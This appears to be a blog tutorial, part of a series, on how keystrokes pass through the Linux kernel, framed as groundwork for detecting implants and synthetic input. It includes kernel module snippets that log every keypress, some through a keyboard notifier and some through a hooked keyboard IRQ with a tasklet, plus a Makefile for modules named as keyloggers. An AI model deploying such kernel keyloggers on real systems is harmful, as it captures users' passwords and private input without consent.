Part 1 covered how Linux keylogging works in user space and why attackers lean on simple hooks or device access to capture keystrokes. Part 2 walked through the GUI layer, showing how the X Server exposes keyboard events long before applications see them. We closed with a promise to move from observing behavior to turning low-level input into usable detection signals.
This part stays inside the kernel. We look at interrupt handlers and notifier blocks because they’re the two points where every keypress passes through, even on modern Linux 6.x kernels with updated routing in the input stack. The original diagram still holds: physical keyboard, motherboard, CPU, kernel driver, then userland.
That level of visibility matters on servers with local console or KVM access. It lets security teams tell normal typing from automated or synthetic input that hints at an implant, since the driver path exposes timing and sequence details that never appear in user space.
A keyboard driver in Linux sits in the path between the hardware and the input subsystem, translating what the device sends into something the kernel can work with. Nothing fancy there, just the layer that makes raw keyboard signals usable higher up.
Under that, you’ve got the interrupt side. During boot, the kernel fills the Interrupt Descriptor Table so the CPU knows which routine to run for each interrupt vector. The keyboard line is brought up early. When a key is pressed, the CPU checks the table, jumps into the right handler, and the input path starts from there. Linux 6.x keeps this flow mostly intact, even with changes in how input routing and console handling are wired now.
The driver also feeds the notification system. Anything that registers a notifier_block gets a callback on each keyboard event, and the handler receives a keyboard_notifier_param with the fields we actually care about:
The diagram we reference tracks that full path from the physical keyboard, through the motherboard and CPU, into the driver, and up into user processes. Seeing the path end to end helps when you’re trying to spot patterns that belong to real users versus something synthetic.
Scancodes are what the hardware sends. Keycodes are what the kernel uses after translating those signals. Keysyms sit above that and describe what the key actually represents, which can turn into Unicode when the layout supports it.
With PS/2 hardware, the driver reads everything through two I/O ports. Port 0x60 holds the scancode the moment the interrupt fires. Port 0x64 is the controller’s command port. The IRQ handler just pulls the byte from 0x60 and treats it as a press or release based on the PS/2 rules. Nothing special, just the raw path the older hardware still uses.
The kernel then walks the usual chain:
0x60Along the way, you’ll see a few event types in the notifier system:
USB keyboards follow a different transport, but the kernel normalizes everything into keycodes and higher-level events, so the input path looks the same. It keeps the higher layers from caring whether the signal came from old PS/2 hardware or a modern HID device.
Keyboard notifiers give you a way to observe keyboard activity without writing your own IRQ handler. The kernel handles the scancodes, keycode mapping, and modifier state first, then calls anything registered on the notifier chain. It’s useful when you want higher-level events and don’t need to deal with raw port I/O.
You’d choose a notifier when the module only needs translated key data. It keeps the code simple because the driver has already done the parsing, and you’re only reacting to what the kernel considers a complete keyboard event.
static int keyboard_event_handler(struct notifier_block *nb,
unsigned long action,
void *data)
{
struct keyboard_notifier_param *param = data;
if (!param->down)
return NOTIFY_OK;
const char *key = keybuf[param->value][param->shift];
printk(KERN_INFO "key: %s\n", key);
return NOTIFY_OK;
}The keybuf array stores the printable form of each key. The kernel uses the keycode and current shift state to index into it, so letters, digits, punctuation, and special keys all resolve the same way you’d expect. The reference for that translation logic is the kbd_keycode() helper in drivers/tty/vt/keyboard.c.
static struct notifier_block nb = {
.notifier_call = keyboard_event_handler,
};
static int __init kb_init(void)
{
return register_keyboard_notifier(&nb);
}
static void __exit kb_exit(void)
{
unregister_keyboard_notifier(&nb);
}When Notifiers Make Sense:
The trade-off is losing the timing information you’d get at the interrupt level, but for most monitoring or detection tasks, notifiers are the more practical tool.
Sometimes you want to see keyboard input as early as possible, before the driver translates anything. That means hooking the IRQ directly. It’s the point where the controller fires an interrupt, and the kernel hasn’t done any work yet, so you get the raw scancode exactly as the hardware sent it.
The flow is simple enough if you lay it out first:
0x60 when the interrupt firesA basic handler for PS/2 hardware ends up looking like this:
static irqreturn_t kb_irq_handler(int irq, void *dev_id)
{
struct kb_state *st = dev_id;
st->scancode = inb(0x60);
tasklet_schedule(&kb_tasklet);
return IRQ_HANDLED;
}The tasklet handles the actual processing, so the interrupt routine doesn’t stall:
static void kb_tasklet_fn(unsigned long data)
{
struct kb_state *st = (struct kb_state *)data;
unsigned char code = st->scancode;
/* translate or log the scancode here */
}
DECLARE_TASKLET(kb_tasklet, kb_tasklet_fn, (unsigned long)&state);Bringing it online is just a call to request_irq():
static int __init kb_init(void)
{
int ret = request_irq(1, kb_irq_handler, IRQF_SHARED,
"kb_irq", &state);
if (ret)
pr_err("keyboard IRQ request failed: %d\n", ret);
return ret;
}Cleanup mirrors the setup:
static void __exit kb_exit(void)
{
tasklet_kill(&kb_tasklet);
free_irq(1, &state);
}Even though the example uses port 0x60 and a classic PS/2 path, the pattern holds on newer systems too. PS/2 just happens to be the easy example. USB keyboards come in through a different path, but the workflow doesn’t really change. Keep the IRQ handler tight, hand the rest to the tasklet, and look at the scancode there before the driver starts adding its own layers.
A tasklet is just a deferred handler that runs outside the interrupt path. It gives you a place to do the slower work without holding up the IRQ, which is important when you’re dealing with input events that fire quickly.
In short, the IRQ handler grabs the scancode and nothing more, then schedules the tasklet. The tasklet reads that stored value, keeps whatever local state it needs, and handles the translation or logging.
A basic logger looks like this:
static void tasklet_logger(unsigned long data)
{
struct kb_state *st = (struct kb_state *)data;
unsigned char code = st->scancode;
/* maintain shift state, map scancode to text, and log it */
}
DECLARE_TASKLET(kb_tasklet, tasklet_logger, (unsigned long)&state);Cleanup is part of the pattern, too:
static void __exit kb_exit(void)
{
tasklet_kill(&kb_tasklet);
free_irq(1, &state);
}Newer kernels often push developers toward workqueues or other deferred mechanisms, mostly because they’re easier to scale and better suited to threaded designs. Tasklets still serve as a clear example, though. They show the separation between fast interrupt handling and the slower processing that shouldn’t run in the IRQ context.
Both approaches work; they just sit at different layers of the input path and give you different kinds of visibility.
In practice, notifiers are easier for day-to-day monitoring or lightweight detection logic because you avoid the hardware churn. IRQ handlers make sense when you need the earliest possible signal or when timing patterns matter, but they come with more overhead and stricter rules about how the code behaves under load.
Low-level keyboard hooks fail in predictable ways, mostly because the path is timing-sensitive and hardware-specific.
printk or tracing calls here can freeze the system under real load.Short, clear misses like these cause the bulk of issues when teams try to work this close to the input layer.
You get one keyboard driver module that uses the notifier chain, one that hooks the IRQ path with a tasklet, and a simple Makefile that builds both against the running kernel. These examples are trimmed for clarity here, and the full source files should be reviewed and expanded as needed before use.
/* notifier-based keyboard driver module
* - US keymap table
* - keyboard_notifier_param handling
* - notifier_block registration
* - module init/exit
* Full implementation goes here.
*//* IRQ-based keyboard driver module
* - shared state with last scancode
* - keyboard IRQ handler
* - tasklet for deferred logging
* - module init/exit with request_irq()/free_irq()
* Full implementation goes here.
*/# Makefile for keyboard driver examples
obj-m += keylogger_notifier.o
obj-m += keylogger_irq.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean The controller sends a scancode when a key changes state. The keyboard driver reads that byte in the interrupt path, translates it into a keycode, and hands it to the input and console layers, which then expose it to user space.
It runs first. The handler pulls the scancode from the controller, marks it as a press or release, and defers any heavier work so the interrupt line stays clear.
Notifier chains run after the driver has already interpreted the event. They receive keycodes, modifier state, and occasionally Unicode, which makes them easier to work with than raw scancodes.
They’ve held up well. Internal details shift between releases, but the notifier interface and the way it hooks into console input remain consistent enough for out-of-tree modules to rely on with minor adjustments.
Yes. They run beneath the graphical layer, so both virtual consoles and GUI stacks trigger the same notifier path as long as the system’s keyboard events pass through the standard input subsystem.

Sometimes. Automated input tends to produce uniform timing and clean, repeated patterns that don’t match normal typing. Looking at scancodes directly gives you that detail, but it also requires more care in the handler.
They can. Human typing has natural variation, while implants or scripted input often produce tightly spaced or perfectly regular intervals. You see those differences more clearly at the IRQ level.
Use a notifier when you want interpreted events and don’t need timing precision. It’s safer, easier to maintain, and won’t interfere with the interrupt path.
When you need the earliest possible view of the event, or you’re looking for patterns that appear only in raw scancode timing. It’s more work and carries more risk, but it gives you the most detail.
The transport changes, but the kernel normalizes everything before you see it. USB HID delivers packets instead of PS/2 scancodes, yet the driver still emits keycodes and notifies handlers in the same way once the event reaches the input layer.